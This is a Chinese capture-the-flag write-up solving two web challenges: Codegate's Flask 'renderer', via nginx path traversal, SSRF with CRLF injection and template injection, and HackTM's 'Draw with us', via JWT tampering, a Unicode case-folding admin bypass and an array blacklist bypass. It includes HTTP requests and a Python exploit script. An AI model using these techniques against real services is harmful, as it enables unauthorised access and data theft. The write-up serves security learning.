Codegate CTF和HackTM CTF的两个web题解
2020-02-26 11:27:31 Author: mp.weixin.qq.com(查看原文) 阅读量:123 收藏

前言

在家无聊,就打了两个ctf,总结一下:

0x01 renderer

0x001 题目描述如下:
Description :It is my first flask project with nginx. Write your own message, and get flag!
http://110.10.147.169/renderer/http://58.229.253.144/renderer/
DOWNLOAD :http://ctf.codegate.org/099ef54feeff0c4e7c2e4c7dfd7deb6e/022fd23aa5d26fbeea4ea890710178e9
0x002 首页如下:

首页只有一个url的提交框感觉应该是考SSRF。
我们随便访问一下:用http://110.10.147.169/renderer/whatismyip:

它返回了whatismyip页面的数据。
但是当我用https://www.baidu.com访问时服务器出现500错误,因此判断是要利用ssrf读取敏感文件这类似的操作。

SSRF攻击与防御:

http://www.hetianlab.com/cour.do?w=1&c=CCID9565-ac81-488a-b97e-c6d1b9cd978e

复制上方链接或者点击阅读原文做实验。


0x003 获取源码
题目给我们提供了源码因此我们先下来看看。
/settings/run.sh
#!/bin/bash
service nginx stopmv /etc/nginx/sites-enabled/default /tmp/mv /tmp/nginx-flask.conf /etc/nginx/sites-enabled/flask
service nginx restart
uwsgi /home/src/uwsgi.ini &/bin/bash /home/cleaner.sh &
/bin/bash
上面的run.sh文件主要是Flask + Nginx + uWSGI的配置和服务器的相关服务的启动。
可以参考该链接,或者搜索Flask + Nginx + uWSGI了解相关配置。
Dockerfile
FROM python:2.7.16
ENV FLAG CODEGATE2020{**DELETED**}
RUN apt-get updateRUN apt-get install -y nginxRUN pip install flask uwsgi
ADD prob_src/src /home/srcADD settings/nginx-flask.conf /tmp/nginx-flask.conf
ADD prob_src/static /home/staticRUN chmod 777 /home/static
RUN mkdir /home/ticketsRUN chmod 777 /home/tickets
ADD settings/run.sh /home/run.shRUN chmod +x /home/run.sh
ADD settings/cleaner.sh /home/cleaner.shRUN chmod +x /home/cleaner.sh
CMD ["/bin/bash", "/home/run.sh"]
Dockerfile文件中我们可以看到它应该是一个flask应用程序。
结合上面的两个文件我们和他提供的/renderer/路由我们可以判断存在目录遍历漏洞,由于我们知道/home/static的目录位置因此我们可以通过这个配置漏洞来遍历敏感文件。
0x004 代码下载与解析:
http://110.10.147.169/static../src/uwsgi.ini
[uwsgi]chdir = /home/srcmodule = runcallable = appprocesses = 4uid = www-datagid = www-datasocket = /tmp/renderer.sockchmod-socket = 666vacuum = truedaemonize = /tmp/uwsgi.logdie-on-term = truepidfile = /tmp/renderer.pid
uwsgi.ini是WSGI服务器的配置文件,WSGI一般用来管理flask等框架。
感兴趣的可以查看这篇文章https://uwsgi-docs-cn.readthedocs.io/zh_CN/latest/WSGIquickstart.html
http://110.10.147.169/static../src/run.py
from app import *import sys
def main(): #TODO : disable debug app.run(debug=False, host="0.0.0.0", port=80)
if __name__ == '__main__': main()
上面的代码是应用程序的入口。
http://110.10.147.169/static../src/app/__init__.py
from flask import Flaskfrom app import routesimport os
app = Flask(__name__)app.url_map.strict_slashes = Falseapp.register_blueprint(routes.front, url_prefix="/renderer")app.config["FLAG"] = os.getenv("FLAG", "CODEGATE2020{}")
该flask框架是使用蓝图的模块化应用,并且我们可以看到FLAG是flash框架的配置参数。
http://110.10.147.169/static../src/app/routes.py
from flask import Flask, render_template, render_template_string, request, redirect, abort, Blueprintimport urllib2import timeimport hashlib
from os import pathfrom urlparse import urlparse
front = Blueprint("renderer", __name__)
@front.before_requestdef test(): print(request.url)
@front.route("/", methods=["GET", "POST"])def index(): if request.method == "GET": return render_template("index.html")
url = request.form.get("url") res = proxy_read(url) if url else False if not res: abort(400)
return render_template("index.html", data = res)
@front.route("/whatismyip", methods=["GET"])def ipcheck(): return render_template("ip.html", ip = get_ip(), real_ip = get_real_ip())
@front.route("/admin", methods=["GET"])def admin_access(): ip = get_ip() rip = get_real_ip()
if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :) abort(403)
if ip != rip: #if use proxy ticket = write_log(rip) return render_template("admin_remote.html", ticket = ticket)
else: if ip == "127.0.0.2" and request.args.get("body"): ticket = write_extend_log(rip, request.args.get("body")) return render_template("admin_local.html", ticket = ticket) else: return render_template("admin_local.html", ticket = None)
@front.route("/admin/ticket", methods=["GET"])def admin_ticket(): ip = get_ip() rip = get_real_ip()
if ip != rip: #proxy doesn't allow to show ticket print 1 abort(403) if ip not in ["127.0.0.1", "127.0.0.2"]: #only local print 2 abort(403) if request.headers.get("User-Agent") != "AdminBrowser/1.337": print request.headers.get("User-Agent") abort(403)
if request.args.get("ticket"): log = read_log(request.args.get("ticket")) if not log: print 4 abort(403) return render_template_string(log)
def get_ip(): return request.remote_addr
def get_real_ip(): return request.headers.get("X-Forwarded-For") or get_ip()
def proxy_read(url): #TODO : implement logging
s = urlparse(url).scheme if s not in ["http", "https"]: #sjgdmfRk akfRk return ""
return urllib2.urlopen(url).read()
def write_log(rip): tid = hashlib.sha1(str(time.time()) + rip).hexdigest() with open("/home/tickets/%s" % tid, "w") as f: log_str = "Admin page accessed from %s" % rip f.write(log_str)
return tid
def write_extend_log(rip, body): tid = hashlib.sha1(str(time.time()) + rip).hexdigest() with open("/home/tickets/%s" % tid, "w") as f: f.write(body)
return tid
def read_log(ticket): if not (ticket and ticket.isalnum()): return False
if path.exists("/home/tickets/%s" % ticket): with open("/home/tickets/%s" % ticket, "r") as f: return f.read() else: return False
1.首先代码有一处比较明显的漏洞在admin_ticket()中使用这个render_template_string()函数渲染字符串,这是一个ssti注入,相信大家不会陌生。
2.但是我们想要利用需要ip=ripip["127.0.0.1","127.0.0.2"]中并且User-Agent="AdminBrowser/1.337",还有ticket文件名必须知道。
3.经过了许久的苦思之后,后来同学丢给我一个链接,经他提醒才知道是CRLF注入。
下面我们就一起来梳理一下:
1.当我们访问/renderer/时会调用index()函数,利用ssrf和CRLF注入我们可以使ip等于127.0.0.1rip等于{{config.FLAG}},由于ip != rip那么将会把rip写入到/home/tickets/的某个文件中(文件名为数字),然后通过admin_remote.html文件将文件名ticket显示在其中:
{% extends "base.html" %}{% block usertyle %}<link rel="stylesheet" href="/static/css/renderer.css" />{% endblock %}{% block body %}<div class="container">    <h3 class="text-center">Codegate '20 Proxy Admin Page</h3>    <br />    <img src="/static/img/admin_is_watching_you.jpg" />    {% if ticket %}    <p class="text-center">        Your access log is written with ticket no {{ ticket }}    </p>    {% endif %}</div>{% endblock %}
上面的admin_remote.html是用ssrf渲染的然后再将其作为数据渲染显示在index.html中这样我们就拿到了ticket的值:
下面是请求的过程:

2.根据上面的步骤我们已经将恶意代码写入到了/home/tickets/0008651ea04209ff2d014745533034d815ea9707文件当中,现在我们就要把他读取出来作为render_template_string(log)的参数渲染就可以拿到flag了。
3.跟上面一样我们访问/renderer/会调用index(),然后利用ssrf访问/admin/ticket再利用CRLF注入,可以使ip=rip,ip=127.0.0.1,User-Agent="AdminBrowser/1.337",由于上面第1步我们已经获取了ticket,因此直接调用read_log()函数将恶意代码读出来传入render_template_string(log)渲染即可rce。
下面是请求的过程:

成功获取flag:
CODEGATE2020{CrLfMakesLocalGreatAgain}

相关实验:flask服务端模板注入漏洞

http://www.hetianlab.com/cour.do?w=1&c=CCID9565-ac81-488a-b97e-c6d1b9cd978e


0x02 Draw with us

完整源码请在公众号回复关键词 源码 获取。

0x001 题目源码链接如下:
stripped.js
获取flag是我们的目标,因此我们需要从怎么获取flag入手,下面这段代码返回了flag:
app.get("/flag", (req, res) => {  // Get the flag  // Only for root  if (req.user.id == 0) {    res.send(ok({ flag: flag }));  } else {    res.send(err("Unauthorized"));  }});
其中req.user.id是由JWT签名的,并且是在登陆的时候由服务器随机生成的。我必须去获得一个签名的token并且其中的id值是0。但是如果我们拿不到jwtSecret,签名是安全的。
刚开始我尝试了JWTnone攻击,构造方法如下:
{  "id": "dff3dc0b-b6fd-494e-8a8b-329fc600f4fb",  "iat": 1581076667}改成:{  "id": "0",  "iat": 1581076667}
{ "alg": "HS256", "typ": "JWT"}改成{ "alg": "none", "typ": "JWT"}
但是没有用。
参考链接如下:
https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
使用构造工具如下:
https://jwt.io/
0x002 我们继续阅读上面的源码,在/init中返回了JWT的签名如下:
//Sign the admin ID  let adminId = pwHash      .split("")      .map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))      .reduce((a, b) => a + b);
console.log(adminId);
res.json(ok({ token: sign({ id: adminId }) }));
从上面我们知道要获取flag我们需要让adminId0,因此需要target^pwHash0这意味着target===pwHash
1.target是这个config.n的md5值。
2.pwHash是这个q*p的md5值。
我们需要得到config.n,这样就可以用n/p得到q了,那么就可以构成target===pwHash了。
现在我们继续往下看。
我们可以看到在/serverInfo中返回了一些在config的元素:
app.get("/serverInfo", (req, res) => {  let user = users[req.user.id] || { rights: [] };  let info = user.rights.map(i => ({ name: i, value: config[i] }));  res.json(ok({ info: info }));});
从上面我们知道每个用户的默认权限是:[ "message", "height", "width", "version", "usersOnline", "adminUsername", "backgroundColor" ](在/login的路由里显示)
我们的默认权限没有n,p,因此我们需要去添加np到我们的用户权限列表中,但是只要adminU可以,下面会介绍。
在这个/updateUser中的我们可以去添加用户权限到权限列表中。
但是当我们发送["p","n"]时:将会返回You're not an admin!
我们可以看看他是怎么处理的:
if (!user || !isAdmin(user)) {  res.json(err("You're not an admin!"));  return;}
跟进isAdmin(user)
function isAdmin(u) {  return u.username.toLowerCase() == config.adminUsername.toLowerCase();}
我们需要username.toLowerCase() === adminUsername.toLowerCase()
从上面的代码中我们可以看到adminUsernamehacktm如果我们尝试去登陆(/login)使用hacktm我们将会获取下面的信息:
Invalid creds
我们可以看到登陆中的验证方法:
function isValidUser(u) {  return (      u.username.length >= 3 &&      u.username.toUpperCase() !== config.adminUsername.toUpperCase()  );}
综上所述,我们需要:
  • u.username.toUpperCase() !== config.adminUsername.toUpperCase()
  • username.toLowerCase() === adminUsername.toLowerCase()
我们可以通过unicodeK来绕过ascii的K,例如:
console.log('K'.toUpperCase()==='k'.toUpperCase());console.log('K'.toLowerCase()==='k'.toLowerCase());
结果如下:
falsetrue
生成的脚本如下:
const admin="hacktm";const tmp1=admin.toUpperCase().split('');const tmp2=admin.toLowerCase().split('');
for (let i=0;i<100000;i++){ const char=String.fromCharCode(i); if(tmp1.includes(char.toUpperCase())||tmp2.includes(char.toLowerCase())){ console.log(i,char,char.toUpperCase(),char.toLowerCase()); }}
结果如下:
65 'A' 'A' 'a'67 'C' 'C' 'c'72 'H' 'H' 'h'75 'K' 'K' 'k'77 'M' 'M' 'm'84 'T' 'T' 't'97 'a' 'A' 'a'99 'c' 'C' 'c'104 'h' 'H' 'h'107 'k' 'K' 'k'109 'm' 'M' 'm'116 't' 'T' 't'8490 'K' 'K' 'k'65601 'A' 'A' 'a'65603 'C' 'C' 'c'65608 'H' 'H' 'h'65611 'K' 'K' 'k'65613 'M' 'M' 'm'65620 'T' 'T' 't'65633 'a' 'A' 'a'65635 'c' 'C' 'c'65640 'h' 'H' 'h'65643 'k' 'K' 'k'65645 'm' 'M' 'm'65652 't' 'T' 't'74026 'K' 'K' 'k'
通过上面的操作可以得出hacKtm,满足条件,K不是ascii的K
请求/login如下:
POST /login HTTP/1.1Host: 167.172.165.153:60001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/json;charset=utf-8Authorization: Bearer undefinedContent-Length: 23Origin: http://167.172.165.153:60000Connection: closeReferer: http://167.172.165.153:60000/
{"username":"hacKtm"}
我们获得了签名的JWT:
HTTP/1.1 200 OKX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: application/json; charset=utf-8Content-Length: 199ETag: W/"c7-FOLFBWmzAHyWeAJOurHR3CgFQ7w"Date: Fri, 07 Feb 2020 11:57:47 GMTConnection: close
{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImRmZjNkYzBiLWI2ZmQtNDk0ZS04YThiLTMyOWZjNjAwZjRmYiIsImlhdCI6MTU4MTA3NjY2N30.wa1XTEXY6XbTr8M0XL2vGgHtTGjTDwViCK3tu2nPIJs"}}
一切都准备就绪,使用上面的token更新用户权限如下:
POST /updateUser HTTP/1.1Host: 167.172.165.153:60001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/json;charset=utf-8Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImRmZjNkYzBiLWI2ZmQtNDk0ZS04YThiLTMyOWZjNjAwZjRmYiIsImlhdCI6MTU4MTA3NjY2N30.wa1XTEXY6XbTr8M0XL2vGgHtTGjTDwViCK3tu2nPIJsContent-Length: 22Origin: http://167.172.165.153:60000Connection: closeReferer: http://167.172.165.153:60000/
{"rights": ["n", "p"]}
将会返回如下内容:
HTTP/1.1 200 OKX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: application/json; charset=utf-8Content-Length: 205ETag: W/"cd-ZjJARGQw8OB8MX5BzYLl/dWOAKM"Date: Fri, 07 Feb 2020 12:09:55 GMTConnection: close
{"status":"ok","data":{"user":{"username":"hacKtm","id":"dff3dc0b-b6fd-494e-8a8b-329fc600f4fb","color":0,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor"]}}}
我们可以看到np没有被添加到用户权限列表中,通过查看源码,这是因为checkRights(arr)函数的检查。
0x003 绕过checkRights(arr):
checkRights(arr)中:
function checkRights(arr) {  let blacklist = ["p", "n", "port"];  for (let i = 0; i < arr.length; i++) {    const element = arr[i];    if (blacklist.includes(element)) {      return false;    }  }  return true;}
checkRights(arr)中定义了黑名单["p", "n", "port"],只要包含里面的任意一个字符都不会添加用户权限。
根据js的某些特性我们可以用下面的两个特性来解决:
  • javascript使用toString()去访问对象的属性。
  • 具有一个元素的数组使用toString方法是和这个元素单独使用toString是一样的,例如:
console.log(["l"].toString()==="l".toString());
// output: true
  • 感兴趣的可以查看这篇文章https://www.anquanke.com/post/id/189701
使用[["p"],["n"]]payload发送到/updateUser会返回如下内容:
HTTP/1.1 200 OKX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: application/json; charset=utf-8Content-Length: 217ETag: W/"d9-uCy43hPNMI1ebwEnfBO1u7Arbg8"Date: Fri, 07 Feb 2020 12:24:10 GMTConnection: close
{"status":"ok","data":{"user":{"username":"hacKtm","id":"dff3dc0b-b6fd-494e-8a8b-329fc600f4fb","color":0,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"],["p"]]}}}
我们可以看到我们成功的添加了["n"],["p"]的权限。
接下来访问/serverInfo获取n,p的值:
{"status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":12},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"},{"name":["p"],"value":"192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617"}]}}
0x004 获取flag:
计算q使用n/p我们获得:
q = 283463585975138667365296941492014484422030788964145259030277643596460860183630041214426435642097873422136064628904111949258895415157497887086501927987
payload.py
import requests
url = "http://167.172.165.153:60001"json={ "p":"192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617", "q":"283463585975138667365296941492014484422030788964145259030277643596460860183630041214426435642097873422136064628904111949258895415157497887086501927987"}response=requests.post(url+"/init",json=json)print(response.text)token=response.json()['data']['token']print(token)headers={ "Authorization": "Bearer %s" % token}response=requests.get(url+"/flag",headers=headers)print(response.json())
0x005 结果如下:
{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgxMjM5MTcxfQ.qlYl5xN0H6NcGhRL1FwAUixGthGNztOjoFAmohimOr0"}}eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgxMjM5MTcxfQ.qlYl5xN0H6NcGhRL1FwAUixGthGNztOjoFAmohimOr0{'status': 'ok', 'data': {'flag': 'HackTM{Draw_m3_like_0ne_of_y0ur_japan3se_girls}'}}
复制链接做实验:JavaScript基础:

http://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2017041815391500001


0x03总结:
在做题的过程中还去学习了一下ssti注入,和flask框架,还有一些js特性,感觉这次收获还是满满的。

点击阅读原文做实验

点击获取:2019原创干货集锦 | 掌握学习主动权

欢迎投稿至邮箱:[email protected]

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

看都看完了,还不点这里试试

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&amp;mid=2652853776&amp;idx=1&amp;sn=3df144c7ef72b77b86436565f4bb5a83&amp;chksm=bd592add8a2ea3cbf886ee128c3a3b51721b8d45b584ebe6957bfd0ec6e60b803d0ed1a1c870#rd
如有侵权请联系:admin#unsafe.sh